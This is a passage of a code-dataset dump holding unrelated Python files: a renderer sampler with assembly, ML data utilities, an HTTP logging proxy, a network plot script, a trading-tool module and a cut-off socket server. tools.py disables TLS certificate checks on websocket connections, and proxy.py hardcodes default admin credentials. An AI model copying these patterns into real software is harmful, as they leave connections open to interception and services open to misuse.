ds[\"tiley\"] = tile.y\n curx = tile.x - 1\n cury = tile.y\n ds[\"cur_xyxy\"] = (curx, cury, curx, cury)\n ds[\"pixel_size\"] = (self._pixel_size, self._pixel_size, self._pixel_size, self._pixel_size)\n w2 = -float(self._width) * 0.5 + 0.5 \n h2 = -float(self._height) * 0.5 + 0.5\n ds[\"w2h2\"] = (w2, h2, w2, h2)\n\n\n # xw = s(x - width/2 + 0.5)\n # yw = s(y - height/2 + 0.5)\n def get_sample(self):\n\n self._curx += 1\n if self._curx == self._endx:\n self._curx = self._tile.x\n self._cury += 1\n if self._cury == self._endy:\n return None\n \n x = self._pixel_size * (self._curx + self._w2) \n y = self._pixel_size * (self._cury + self._h2)\n return Sample(x, y, self._curx, self._cury, 1.0)\n\n # eax - pointer to sample structure\n def get_sample_asm(self, runtimes, label, assembler, structures):\n\n code = \"\"\"\n #DATA\n \"\"\"\n code += structures.structs(('sample',)) + \"\"\"\n uint32 endx, endy\n uint32 tilex, tiley\n uint32 cur_xyxy[4] ; we just use first two numbers\n float pixel_size[4]\n float w2h2[4]\n #CODE\n \"\"\"\n code += \" global \" + label + \":\\n\" + \"\"\"\n add dword [cur_xyxy], 1\n mov ebx, dword [cur_xyxy] \n cmp ebx, dword [endx]\n jne _gen_sam\n mov ecx, dword [tilex]\n mov dword [cur_xyxy], ecx\n add dword [cur_xyxy + 4], 1\n mov edx, dword [cur_xyxy + 4]\n cmp edx, dword [endy]\n jne _gen_sam\n mov eax, 0 ;end of sampling\n ret\n\n _gen_sam:\n macro eq128 xmm0 = cur_xyxy\n macro call int_to_float xmm1, xmm0\n macro eq128 xmm1 = xmm1 + w2h2\n macro eq128 xmm1 = xmm1 * pixel_size\n macro eq128 eax.sample.xyxy = xmm1 {xmm0}\n \n mov ebx, dword [cur_xyxy] \n mov ecx, dword [cur_xyxy + 4]\n mov dword [eax + sample.ix] ,ebx\n mov dword [eax + sample.iy] ,ecx\n mov eax, 1\n ret\n \n \"\"\"\n mc = assembler.assemble(code, True)\n #mc.print_machine_code()\n name = \"get_sample\" + str(hash(self))\n self._ds = []\n for r in runtimes:\n self._ds.append(r.load(name, mc))\n\n\n def set_tile(self, tile):\n super(RegularSampler, self).set_tile(tile)\n self._curx = tile.x - 1\n self._endx = tile.x + tile.width\n self._endy = tile.y + tile.height\n self._w2 = -float(self._width) * 0.5 + 0.5 \n self._h2 = -float(self._height) * 0.5 + 0.5 \n \n def spp(self, dummy):\n pass\n\n","sub_path":"renmas2/samplers/regular_sampler.py","file_name":"regular_sampler.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"333438668","text":"import numpy as np\nimport pandas as pd\nimport xarray as xr\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom classes import Sample, SampleSubset, Scaler\nseed = 42\n\n###################################\n## DS operations\n\n# e.g. shift precipitation to an hour early\ndef DS_shift_and_append(DS, var_name, new_var_name, shift_hour=1):\n if shift_hour < 0:\n raise ValueError('shift_hour < 0 is not appropriate for prediction.')\n else:\n da_shifted = DS[var_name].shift(time=-shift_hour).rename(new_var_name)\n DS_shifted = xr.merge([da_shifted, DS])\n return DS_shifted\n\n\n# extract variables of interest from DS\ndef DS_extract(DS, extract_list, drop_list=None):\n DS_select = DS[extract_list]\n if drop_list != None:\n for var in drop_list:\n DS_select = DS_select.drop(var)\n return DS_select\n\n\n# count # valid instances in each var\ndef DS_count_valid(DS, dim='time'):\n cnt = []\n for var in list(DS):\n try:\n cnt.append(DS[var].dropna(dim=dim)[dim].size)\n except:\n cnt.append(0)\n return pd.DataFrame(data={'var': list(DS), '#valid': cnt}).set_index('var')\n\n\n# flatten DS to DS (used to be obsolete, but still use for plotting correlations)\ndef DS_flatten(DS, str_1d, str_2d):\n plev = DS['p'].values.astype(np.int32)\n DS_flattened = xr.Dataset()\n\n for var_str in str_1d:\n DS_flattened = xr.merge([DS_flattened, DS[var_str]])\n\n for var_str in str_2d:\n for _p in plev:\n new_var_str = f'{var_str}{_p}'\n DS_flattened = xr.merge(\n [DS_flattened, DS[var_str].sel(p=_p).drop('p').rename(new_var_str)])\n\n return DS_flattened\n\n\ndef DS_mark_outliers(DS, bool_list, da_name='outliers'):\n outliers = xr.DataArray([{True: np.nan, False:1}[boolean] for boolean in bool_list], dims='time', name=da_name)\n return xr.merge([DS,outliers]).dropna(dim='time')\n\n\ndef get_DS_plev(DS):\n return DS['p'].values.astype(float)\n\n###################################\n## Data extraction (DS2df)\n\n\ndef extract_scalar(DS, str_y, str_Xscalar):\n return DS[str_y].to_dataframe().values, DS[str_Xscalar].to_dataframe().values\n\n\ndef merge_channels(DS, str_Xvec):\n channels = [DS[str_Xvec[i]].to_dataframe().unstack(level=-1)\n for i in range(0, len(str_Xvec))]\n X_conv = np.expand_dims(channels[0].values, axis=2)\n\n for channel in channels[1:]:\n channel = np.expand_dims(channel.values, axis=2)\n X_conv = np.append(X_conv, channel, axis=2)\n\n return X_conv\n\n###################################\n## Data split\n\n\ndef split(ss, train_size, seed=seed):\n from sklearn.model_selection import train_test_split\n train_bin, test_bin, train_y, test_y, train_Xscalar, test_Xscalar, train_Xvec, test_Xvec = train_test_split(ss.bin, ss.y, ss.Xscalar, ss.Xvec,\n train_size=train_size,\n random_state=seed,\n shuffle=True,\n stratify=ss.bin)\n return SampleSubset(train_bin, train_y, train_Xscalar, train_Xvec), SampleSubset(test_bin, test_y, test_Xscalar, test_Xvec)\n\n###################################\n## Data standardization, z-score\n\n\ndef standardize(train, valid, test):\n from sklearn.preprocessing import StandardScaler\n scaler = StandardScaler()\n\n train = scaler.fit_transform(train)\n valid, test = scaler.transform(valid), scaler.transform(test)\n return train, valid, test, scaler\n\n\ndef inverse_standardize(data, scaler):\n from sklearn.preprocessing import StandardScaler\n return scaler.inverse_transform(data)\n\n\ndef standardize_3d(train, valid, test):\n from sklearn.preprocessing import StandardScaler\n scalers = {}\n for i in range(train.shape[2]):\n scalers[i] = StandardScaler()\n train[:, :, i] = scalers[i].fit_transform(train[:, :, i])\n\n for i in range(test.shape[2]):\n valid[:, :, i] = scalers[i].transform(valid[:, :, i])\n test[:, :, i] = scalers[i].transform(test[:, :, i])\n\n return train, valid, test, scalers\n\n\ndef standardize_all(s):\n train_bin, validation_bin, test_bin = s.train.bin, s.validation.bin, s.test.bin\n train_y, validation_y, test_y, scaler_y = standardize(s.train.y, s.validation.y, s.test.y)\n train_Xscalar, validation_Xscalar, test_Xscalar, scaler_Xscalar = standardize(s.train.Xscalar, s.validation.Xscalar, s.test.Xscalar)\n train_Xvec, validation_Xvec, test_Xvec, scaler_Xvec = standardize_3d(s.train.Xvec, s.validation.Xvec, s.test.Xvec)\n return Sample(SampleSubset(train_bin, train_y, train_Xscalar, train_Xvec), SampleSubset(validation_bin, validation_y, validation_Xscalar, validation_Xvec), SampleSubset(test_bin, test_y, test_Xscalar, test_Xvec), Scaler(scaler_y, scaler_Xscalar, scaler_Xvec))\n\n\ndef abs_zscore_cut(da, percentile):\n from scipy.stats import zscore\n return np.percentile(np.abs(zscore(da)), percentile)\n\n\ndef abs_zscore(da):\n from scipy.stats import zscore\n return np.abs(zscore(da))\n\n\n###################################\n## Data flattening (numpy)\n\n\ndef flattening(Xscalar, Xvec):\n X, boundary = Xscalar, []\n for i in range(0, Xvec.shape[2]):\n boundary.append(X.shape[1])\n X = np.concatenate((X, Xvec[:,:,i]), axis=1)\n return X, boundary\n\n\ndef flattening_all(s):\n s.train.Xflatten, s.train.Xboundary = flattening(s.train.Xscalar, s.train.Xvec)\n s.validation.Xflatten, s.validation.Xboundary = flattening(s.validation.Xscalar, s.validation.Xvec)\n s.test.Xflatten, s.test.Xboundary = flattening(s.test.Xscalar, s.test.Xvec)\n return s\n\n\ndef unflattening(X, boundary):\n b = boundary.copy()\n Xscalar = X[:,0:b[0]]\n b.append(X.shape[1])\n\n Xvec = np.expand_dims(X[:,b[0]:b[1]], axis=2)\n\n for i in range(1,len(b)-1):\n X_temp = np.expand_dims(X[:,b[i]:b[i+1]], axis=2)\n Xvec = np.append(Xvec, X_temp, axis=2)\n\n return Xscalar, Xvec\n\n###################################\n## Data de-concatenation (numpy)\n\n\ndef all_x(data):\n train_X, test_X, train_y, test_y = data\n return np.concatenate((train_X, test_X))\n\n\ndef all_y(data):\n train_X, test_X, train_y, test_y = data\n return np.concatenate((train_y, test_y))\n\n###################################\n## DS Plot\n\n\ndef plot_1d(DS, var_1d):\n time_value = DS.time.values\n for var_str in var_1d:\n x_value = DS[var_str].values\n fig, ax = plt.subplots(ncols=2, figsize=(20, 10))\n\n sns.scatterplot(x_value, time_value, s=3, ax=ax[0])\n ax[0].set(xlabel=var_str, ylabel='Year')\n\n sns.distplot(x_value[~np.isnan(x_value)]) # distplot cannot handle NaN itself\n ax[1].set(xlabel=var_str, ylabel='Frequency')\n\n plt.show()\n return None\n\n\ndef plot_2d(DS, var_2d):\n for var_str in var_2d:\n x_value = DS[var_str].values\n fig, ax = plt.subplots(ncols=2, figsize=(20, 10))\n\n DS[var_str].plot(ax=ax[0])\n\n sns.distplot(x_value[~np.isnan(x_value)]) # distplot cannot handle NaN itself\n ax[1].set(xlabel=var_str, ylabel='Frequency')\n\n plt.show()\n return None\n\n\ndef binplot_prec(DS, bin_min):\n x_value = DS['prec_sfc'].values\n x_value = x_value[x_value>=bin_min]\n\n fig, ax = plt.subplots(ncols=1, figsize=(10, 10))\n\n sns.distplot(x_value[~np.isnan(x_value)]) # distplot cannot handle NaN itself\n ax.set(xlabel='prec_sfc', ylabel='Frequency')\n\n plt.show()\n return None\n\n###################################\n## df Plot\n\n\ndef plot_pair(df, cols_str, hue_str=None):\n sns_plot = sns.pairplot(df,\n vars=cols_str,\n hue=hue_str,\n palette='bright',\n diag_kind='kde',\n plot_kws={'alpha': 0.6, 's': 80, 'edgecolor': 'k'},\n height=4)\n plt.show()\n return None\n\ndef plot_corr(df, annotate=False):\n corr = df.corr()\n\n # Generate a mask for the upper triangle\n mask = np.zeros_like(corr, dtype=np.bool)\n mask[np.triu_indices_from(mask)] = True\n\n # Set up the matplotlib figure\n f, ax = plt.subplots(figsize=(20, 20))\n\n sns_plot = sns.heatmap(corr,\n mask=mask,\n annot=annotate,\n vmax=.5,\n center=0,\n square=True,\n linewidths=.5,\n cbar_kws={\"shrink\": .5})\n\n plt.title('Correlation matrix', fontsize=15)\n plt.show()\n return None\n\n\n###################################\n## Sample concatenation\n\n\ndef shuffle_ss(ss):\n shuffle_index = np.random.permutation(ss.size)\n ss.bin = ss.bin[shuffle_index]\n ss.y = ss.y[shuffle_index]\n ss.Xscalar = ss.Xscalar[shuffle_index]\n ss.Xvec = ss.Xvec[shuffle_index]\n return ss\n\n\ndef sample_concat(s_list, shuffle=False):\n train_bin = np.concatenate(tuple([s.train.bin for s in s_list]), axis=0)\n train_y = np.concatenate(tuple([s.train.y for s in s_list]), axis=0)\n train_Xscalar = np.concatenate(tuple([s.train.Xscalar for s in s_list]), axis=0)\n train_Xvec = np.concatenate(tuple([s.train.Xvec for s in s_list]), axis=0)\n ss_train = SampleSubset(train_bin, train_y, train_Xscalar, train_Xvec)\n\n validation_bin = np.concatenate(tuple([s.validation.bin for s in s_list]), axis=0)\n validation_y = np.concatenate(tuple([s.validation.y for s in s_list]), axis=0)\n validation_Xscalar = np.concatenate(tuple([s.validation.Xscalar for s in s_list]), axis=0)\n validation_Xvec = np.concatenate(tuple([s.validation.Xvec for s in s_list]), axis=0)\n ss_validation = SampleSubset(validation_bin, validation_y, validation_Xscalar, validation_Xvec)\n\n test_bin = np.concatenate(tuple([s.test.bin for s in s_list]), axis=0)\n test_y = np.concatenate(tuple([s.test.y for s in s_list]), axis=0)\n test_Xscalar = np.concatenate(tuple([s.test.Xscalar for s in s_list]), axis=0)\n test_Xvec = np.concatenate(tuple([s.test.Xvec for s in s_list]), axis=0)\n ss_test = SampleSubset(test_bin, test_y, test_Xscalar, test_Xvec)\n\n if shuffle:\n ss_train, ss_validation, ss_test = [shuffle_ss(ss) for ss in [ss_train, ss_validation, ss_test]]\n\n return Sample(ss_train, ss_validation, ss_test)\n","sub_path":"main/stage-3/code/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"422396340","text":"from BaseHTTPServer import BaseHTTPRequestHandler\nfrom datetime import datetime\nimport logging\nimport socket\nfrom tempfile import NamedTemporaryFile\nfrom urlparse import urlparse\n\nfrom eulfedora.server import Repository\nimport sunburnt\n\nfrom reqrepo.models import HttpTransaction\nfrom reqrepo.wrap import logging_reader, logging_recver\n\nrepo = Repository('http://localhost:8080/fedora/', 'fedoraAdmin', 'fedoraAdmin')\n\nclass ProxyHandler(BaseHTTPRequestHandler):\n def setup(self):\n BaseHTTPRequestHandler.setup(self)\n self.idx = sunburnt.SolrInterface('http://localhost:8983/solr/')\n\n\n def handle_one_request(self):\n self.start_time = datetime.now()\n logging.debug('new request at %s' % (str(self.start_time),))\n\n orig_rfile = self.rfile\n self.rfile = logging_reader(orig_rfile)\n\n try:\n # partially cribbed from BaseHTTPServer\n self.raw_requestline = self.rfile.readline()\n if not self.raw_requestline:\n self.close_connection = 1\n return\n if not self.parse_request(): # An error code has been sent, just exit\n return\n\n self.connect_root_server()\n try:\n self.forward_request()\n if not self.parse_response():\n return\n self.forward_response()\n finally:\n self.close_root_connection()\n\n self.end_time = datetime.now()\n logging.debug('finished request at %s' % (str(self.end_time),))\n\n self.rfile.flush()\n self.wfile.flush()\n self.postprocess_transaction()\n finally:\n self.rfile = orig_rfile\n\n def parse_request(self):\n if not BaseHTTPRequestHandler.parse_request(self):\n return False\n\n logging.debug('parsed request <%s> <%s> <%s>' % (self.command, self.path, self.request_version))\n\n parsed_path = urlparse(self.path)\n if self.headers['Host']:\n logging.debug('host is %s' % (self.headers['Host'],))\n parsed_host = urlparse(self.headers['Host'])\n if parsed_host.scheme:\n parsed_path.scheme = parsed_host.scheme\n if parsed_host.netloc:\n parsed_path.netloc = parsed_path.netloc\n host, colon, port = parsed_path.netloc.partition(':')\n if colon:\n port = int(port)\n else:\n port = 80\n\n self.root_scheme = parsed_path.scheme\n self.root_host = host\n self.root_port = port\n self.root_path = parsed_path.path\n return True\n\n def connect_root_server(self):\n logging.debug('connecting to %s:%d' % (self.root_host, self.root_port))\n self.root_conn = socket.create_connection((self.root_host, self.root_port))\n self.root_recver = logging_recver(self.root_conn)\n\n def forward_request(self):\n self.rfile.flush()\n with open(self.rfile.name) as f:\n while True:\n data = f.read(1024)\n if not data:\n break\n logging.debug('forwarding %d request bytes' % (len(data),))\n self.root_conn.send(data)\n logging.debug('finished forwarding request')\n self.root_conn.shutdown(socket.SHUT_WR)\n\n def parse_response(self):\n block = self.root_recver.recv(1024)\n nl = block.find('\\n')\n if nl < 0:\n return False\n self.raw_statusline, rest = block[:nl+1], block[nl+1:]\n self.root_recver.put_back(rest)\n\n parts = self.raw_statusline.split(None, 2)\n if len(parts) != 3:\n return False\n response_version, response_code, message = parts\n logging.debug('parsed response <%s> <%s> <%s>' % (response_version, response_code, message))\n\n self.response_version = response_version\n self.response_code = response_code\n\n # and then read the entire rest of the response, just to make sure\n # it gets stored\n while True:\n data = self.root_recver.recv(1024)\n if not data:\n break\n logging.debug('received %d response bytes' % (len(data),))\n logging.debug('finished receiving response')\n\n return True\n\n def forward_response(self):\n self.root_recver.flush()\n with open(self.root_recver.name) as f:\n while True:\n data = f.read(1024)\n if not data:\n break\n logging.debug('forwarding %d response bytes' % (len(data),))\n self.wfile.write(data)\n logging.debug('finished forwarding response')\n \n def close_root_connection(self):\n self.root_conn.close()\n\n def postprocess_transaction(self):\n with open(self.rfile.name) as f:\n data = f.read()\n logging.debug('request:' + repr(data))\n with open(self.root_recver.name) as f:\n data = f.read()\n logging.debug('response:' + repr(data))\n\n\nclass RepositingHandler(ProxyHandler):\n def postprocess_transaction(self):\n with open(self.rfile.name) as rfile, open(self.root_recver.name) as recvfile:\n obj = repo.get_object(type=HttpTransaction)\n obj.label = self.raw_requestline\n obj.request.content = rfile\n obj.response.content = recvfile\n obj.save()\n logging.debug('reposited %s' % (obj.pid,))\n self.idx.add(obj)\n self.idx.commit()\n logging.debug('indexed %s' % (obj.pid,))\n","sub_path":"reqrepo/proxy.py","file_name":"proxy.py","file_ext":"py","file_size_in_byte":5598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"282576176","text":"#-*- coding: utf8 -*-\nfrom __future__ import division\nimport numpy as n, pylab as p, networkx as x, random as r, collections as c, string\nfrom scipy import special # special.binom(x,y) ~ binom(x,y)\n\n__doc__=\"\"\"Script to plot both scale-free network and random network distributions.\"\"\"\n\nN=1200\n\n# for the free scale network\n# P(k) = \\beta * k^(-\\alpha), with \\alpha typically in (2, 3)\nkk=n.arange(N)\nPk=.10*kk**(-10.5)\n\n# for the random network\n# P(k) = (N-1 k)p^k(1-p)^(N-k)\np_=.1\nPk_=special.binom(N-1, kk)*(p_**kk)*((1-p_)**(N-kk))\n\n#p.plot(n.log(kk),n.log(Pk));p.plot(n.log(kk),n.log(Pk),\"ro\",label=\"free-scale model\")\n#p.plot(n.log(kk),n.log(Pk_));p.plot(n.log(kk),n.log(Pk_),\"bo\",label=\"Edos-Renyi model\")\n\n#F=p.gcf()\n#F.set_size_inches((10.,3.))\n#F.set_figwidth(10.)\np.figure(figsize=(10.,3.))\np.subplots_adjust(left=0.06,bottom=0.32,right=0.99,top=0.86)\np.plot(n.log(kk),n.log(Pk), \"k\", label=\"scale-free model\", linewidth=3)\np.plot(n.log(kk),n.log(Pk_), \"k:\", label=u\"Erdös-Rényi model\", linewidth=3)\np.text(0.9,-70,\"periphery\" ,size=15)\np.text(4,-100,\"intermediary\",size=15)\np.text(6.1,-110,\"hubs\" ,size=15)\np.title(u\"Three sectors of a scale-free network\",size=25)\np.legend()\np.xlabel(r\"$\\log[k]\\;\\rightarrow$\",size=20)\np.ylabel(r\"$\\log[p(k)]\\;\\rightarrow$\",size=20)\np.yticks(())\np.xticks(())\np.xlim((-0.1,n.log(N)+1))\np.ylim((-150,1))\n\n# pontos de intersecção:\nx1=3.7; y=-41.16-5\np.plot((x1,x1),(-1000,y),\"r--\")\nx2=5.4951; y=-60.-5\np.plot((x2,x2),(-1000,y),\"r--\")\np.xticks((x1,x2),(r\"$(k_L)$\",r\"$(k_R)$\"),size=15)\n\np.savefig(\"../figs/fser_.png\")\n#p.show()\n\n\n#p.plot(kk,Pk) ;p.plot(kk,Pk,\"ro\")\n#p.plot(kk,Pk_);p.plot(kk,Pk_,\"bo\")\n#p.show()\n","sub_path":"scripts/setoresRede_teorico2.py","file_name":"setoresRede_teorico2.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"270429954","text":"# -*- coding: utf-8 -*-\nimport csv\nimport os\nimport django\nimport platform\nimport sys\nimport time\nimport ssl\nfrom websocket import create_connection\nfrom xlwt import Workbook\nfrom Profile import profile\n\nsys.path.append(profile.APP_PATH)\nos.environ['DJANGO_SETTINGS_MODULE'] = 'my_project.settings'\ndjango.setup()\nfrom my_app.models import trade_record\n\n\n# 清屏\ndef clear():\n if platform.system() == 'Linux':\n os.system('clear')\n else:\n os.system('cls')\n\n\n# 时间、时间戳\ndef int_time(now):\n point = now - int(now)\n timeArray = time.localtime(now)\n otherStyleTime = time.strftime(\"%Y/%m/%d %H:%M:%S\", timeArray)\n return otherStyleTime + str(round(point, 2)).strip(\"0\")\n\n\ndef time_int_Reader(tss1):\n timeArray = time.strptime(tss1, \"%Y%m%d %H:%M:%S\")\n timeStamp = time.mktime(timeArray)\n return timeStamp\n\n\ndef time_int_manage(tss1):\n timeArray = time.strptime(tss1, \"%Y/%m/%d %H:%M:%S\")\n timeStamp = time.mktime(timeArray)\n return timeStamp\n\n\ndef int_date(now):\n timeArray = time.localtime(now)\n otherStyleTime = time.strftime(\"%Y%m%d\", timeArray)\n return otherStyleTime\n\n\n# 签约多ip,返回成功的ip\ndef duo_IP(conf):\n path = profile.CONFIG_INI_URL\n items = conf[\"address\"]\n out1 = False\n while not out1:\n print()\n print(\"[多IP安全防护]\")\n print(\"n--正常模式(加载配置文件)\")\n print(\"h--手动输入新地址\")\n temp = input()\n if temp == \"n\" or temp == \"h\":\n out1 = True\n\n out1 = False\n while not out1:\n # 读取IP配置文件\n if temp == \"n\":\n time_out = int(conf[\"timeout\"][\"timeout\"])\n count = 0\n out2 = False\n while not out2:\n print(\"----第\" + str(count + 1) + \"次尝试连接----\")\n\n reverse_items = []\n for key in items.keys():\n reverse_items.append(items[key])\n # 倒装\n reverse_items.reverse()\n # 尝试连接\n for reverse_item in reverse_items:\n ip_port = reverse_item[0]\n ip_code = reverse_item[1]\n try:\n print(\"正在连接 \" + ip_code + \":\" + ip_port + \".....\")\n start = time.perf_counter()\n ws = create_connection(\"wss://\" + ip_port + \"/ws/\", sslopt={\"cert_reqs\": ssl.CERT_NONE},\n timeout=time_out / 1000)\n end = time.perf_counter()\n out2 = True\n break;\n except Exception as e:\n print(e)\n print(\"连接超时!\")\n count = count + 1\n print(ip_code + \":\" + ip_port + \"连接成功,耗时:\" + str(int((end - start) * 1000)) + \"ms\")\n time.sleep(1)\n out1 = True\n\n elif temp == \"h\":\n time_out = int(conf[\"timeout\"][\"timeout\"])\n out2 = False\n while not out2:\n end = 0\n connect = False\n print()\n ip = input(\"IP(例如10.3.8.216):\")\n port = input(\"端口(例如8888):\")\n ip_port = ip + \":\" + port\n ip_code = input(\"代号:\")\n if code_check(conf, ip_code):\n print(\"配置文件已有此代号,请换一个!\")\n else:\n try:\n print(\"正在连接\" + ip_code + \":\" + + ip_port + \".....\")\n start = time.perf_counter()\n ws = create_connection(\"wss://\" + ip_port + \"/ws/\", sslopt={\"cert_reqs\": ssl.CERT_NONE},\n timeout=time_out / 1000)\n connect = True\n end = time.perf_counter()\n except Exception as e:\n print(ip_port + \" 连接超时!\")\n if connect:\n print(ip_port + \"连接成功!用时:\" + str(int((end - start) * 1000)) + \"ms\")\n time.sleep(1)\n # 写入配置文件\n ip_list = []\n for key in conf[\"address\"].keys():\n ip_list.append(key)\n conf[\"address\"][\"group\" + str(len(ip_list))] = [ip_port, ip_code]\n conf.write()\n print(\"新地址已自动写入配置文件!\")\n time.sleep(1)\n out2 = True\n out1 = True\n elif not connect:\n out3 = False\n while not out3:\n print()\n print(\"回车--再输新地址\")\n print(\"b --返回正常模式\")\n print(\"save--仍然保存此地址\")\n temp = input()\n if temp == \"\":\n out3 = True\n time.sleep(1)\n elif temp == \"b\":\n out3 = True\n out2 = True\n temp = \"n\"\n elif temp == \"save\":\n try:\n ip_list = []\n for key in conf[\"address\"].keys():\n ip_list.append(key)\n\n if code_check(conf, ip_code):\n print(\"已经写入,无需重复操作!\")\n else:\n conf[\"address\"][\"group\" + str(len(ip_list))] = [ip_port, ip_code]\n conf.write()\n print(\"成功写入配置文件!\")\n time.sleep(1)\n except Exception as e:\n print(e)\n ws.close()\n return ip_port\n\n\n# 导入交易记录\ndef trade_import():\n try:\n out = False\n while not out:\n rootdir = os.path.abspath(profile.TRADE_IMPORT)\n clear()\n print(\"本地交易记录导入\")\n print()\n print(\"请先将交易记录文件放置该目录下\")\n print(os.path.abspath(rootdir))\n print()\n print()\n print(\"输入i开始导入\")\n tmp = input()\n if tmp == \"i\":\n out = True\n lists = os.listdir(rootdir) # 列出文件夹下所有的目录与文件\n for list in lists:\n path = os.path.join(rootdir, list)\n if \"done\" not in path:\n print(list + \" 文件读取中...\")\n f = open(path)\n # 存数据库\n lines = csv.reader(f)\n for line in lines:\n # 处理期权\n list = []\n tmp_list = []\n count = 0\n for i in range(9, len(line)):\n list.append(line[i])\n count = count + 1\n if count == 4:\n count = 0\n tmp_list.append(list)\n list = []\n list = tmp_list\n tmp_list = []\n for i in range(len(list)):\n tmp_list.append(\"!\".join(str(j) for j in list[i]))\n options = \"|\".join(str(j) for j in tmp_list)\n # 正式存\n p = trade_record(\n user_id=line[0],\n time=time_int_manage(line[1] + \" \" + line[2]),\n instrument_id=line[3],\n account_position=line[4],\n other_position=line[5],\n ratio=line[6],\n thero_position=line[7],\n close_diff=line[8],\n options=options,\n )\n p.save()\n f.close()\n os.rename(path, path + \".done\")\n print(\"导入成功!\")\n else:\n print(list + \" 文件已经读取过,无需导入\")\n print()\n print(\"交易记录导入完毕\")\n print()\n except Exception as e:\n print(\"出现异常:\" + str(e))\n\n\n# 导出夜盘存档\n\n\ndef request_night_save(message, path, user):\n excel_info = message[\"excel_info\"]\n w_book = Workbook()\n for key, rows in excel_info.items():\n sheet = w_book.add_sheet(key)\n for row in range(len(rows)):\n for col in range(len(rows[row])):\n sheet.write(row, col, rows[row][col])\n\n path = os.path.join(path, user + \"_Hedge\" + \"-\" + str(time.strftime(\"%Y-%m-%d\", time.localtime())) + \".xls\")\n w_book.save(path)\n\n\ndef test():\n print(123)\n\n\ndef night_save(message, path):\n try:\n \"\"\"夜盘存档导出\"\"\"\n ws = Workbook(encoding='utf-8')\n # about\n w = ws.add_sheet(\"about\")\n w.write(0, 0, \"times\")\n w.write(0, 1, message[\"times\"])\n w.write(1, 0, \"prices\")\n w.write(1, 1, message[\"prices\"])\n # options\n w = ws.add_sheet(\"options\")\n w.write(0, 0, \"期权单号\")\n w.write(0, 1, \"期货合约代码\")\n w.write(0, 2, \"期货品种类型\")\n w.write(0, 3, \"对冲员\")\n w.write(0, 4, \"期权类型\")\n w.write(0, 5, \"手数\")\n w.write(0, 6, \"期限日期\")\n w.write(0, 7, \"主行权价\")\n w.write(0, 8, \"天数二\")\n w.write(0, 9, \"价格二\")\n for i in range(len(message[\"options\"])):\n for j in range(10):\n w.write(i + 1, j, message[\"options\"][i][j])\n # 期权sheet\n for i in message.keys():\n if \"_\" in i:\n userid = i\n user_data = message[i]\n for future_id in user_data.keys():\n w = ws.add_sheet(future_id) # pp1905\n # 表头(time price 20181004...)\n w.write(0, 0, \"time\")\n w.write(0, 1, \"price\")\n opt_info = user_data[future_id][0][\"opt_info\"]\n for i in range(len(opt_info)):\n w.write(0, i + 2, opt_info[i][\"sys_num\"])\n # 写入数据\n future_data = user_data[future_id]\n future_data = sorted(future_data, key=lambda x: (float(x[\"current_time\"]), float(x[\"future_price\"])),\n reverse=False)\n for i in range(len(future_data)):\n w.write(i + 1, 0, future_data[i][\"current_time\"])\n w.write(i + 1, 1, future_data[i][\"future_price\"])\n opt_info = future_data[i][\"opt_info\"]\n for j in range(len(opt_info)):\n w.write(i + 1, j + 2, opt_info[j][\"pos_price\"])\n path = os.path.join(path, userid + \"-\" + str(time.strftime(\"%Y-%m-%d\", time.localtime())) + \".xls\")\n ws.save(path)\n except Exception as e:\n print(e)\n\n\n# 导出风控报表\ndef risk_save(result, risk_path):\n with open(risk_path, \"w\", encoding=\"utf-8\", newline=\"\") as file:\n writer = csv.writer(file, dialect=\"excel\")\n row_data = result[\"header\"]\n writer.writerow(row_data)\n row_datas = result[\"data\"]\n writer.writerows(row_datas)\n\n\ndef code_check(config, code):\n \"\"\"检测代号重复\"\"\"\n code_tmp = []\n for tmp in config['address'].values():\n code_tmp.append(tmp[1])\n if code is None:\n set_lst = set(code_tmp)\n # set会生成一个元素无序且不重复的可迭代对象,也就是我们常说的去重\n if len(set_lst) == len(code_tmp): # 不重复\n return False\n else: # 有重复\n return True\n else:\n code_tmp.append(code)\n set_lst = set(code_tmp)\n # set会生成一个元素无序且不重复的可迭代对象,也就是我们常说的去重\n if len(set_lst) == len(code_tmp): # 不重复\n return False\n else: # 有重复\n return True\n\n\nif __name__ == '__main__':\n print(111)\n","sub_path":"app/my_project/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":12570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"213717116","text":"import json\nimport socketserver\n\nfrom database import DatabaseHandler\nfrom location import LocationPoint\n\n\nclass BadRequestError(Exception):\n def __init__(self, error_message):\n self.error_message = error_message\n\n\nclass TheServant(socketserver.StreamRequestHandler):\n def __init__(self, request, client_address, server):\n super().__init__(request, client_address, server)\n\n def setup(self):\n socketserver.StreamRequestHandler.setup(self)\n self.the_database = DatabaseHandler()\n self.the_database.connect()\n\n def finish(self):\n socketserver.StreamRequestHandler.finish(self)\n self.the_database.close()\n\n # handle requests\n def handle(self):\n try:\n print(\"Incoming connection...\")\n print(self.the_database.db.getTable(\"location\"))\n print(self.the_database.db.getTable(\"location_history\"))\n self._getReq()\n except BadRequestError as e:\n print(e.error_message)\n\n # send a response. Takes a json object as paramter\n\n def _getReq(self):\n # List of supported requests, each term in the dictionary matches to a\n # method (this is our proper handler for each type of request)\n SUPPORTED_REQUESTS = {\"location_push\": self.do_push, \"location_pull\": self.do_pull}\n # parse the request\n req = self.rfile.readline().strip().decode('utf-8')\n try:\n # Try to load the request and execute the method defined by it\n json_object = json.loads(req)\n print(\"JSON parsed\")\n SUPPORTED_REQUESTS[json_object['query']](json_object)\n except ValueError:\n raise BadRequestError(\"Not JSON\")\n except KeyError:\n raise BadRequestError(\"Bad Formatted Request\")\n\n def _sendResponse(self, json_response):\n self.wfile.write(bytearray(json_response, 'utf-8'))\n\n # Insert a location object into the database\n def do_push(self, json_object):\n print(\"Trying push...\")\n try:\n # Try to parse the location object\n location = json_object[\"location\"]\n except KeyError:\n # In case one of the necessary formats is not found\n raise BadRequestError(\"No location field inside request\")\n else:\n # Create the location Object\n try:\n username = location[\"username\"]\n latitude = 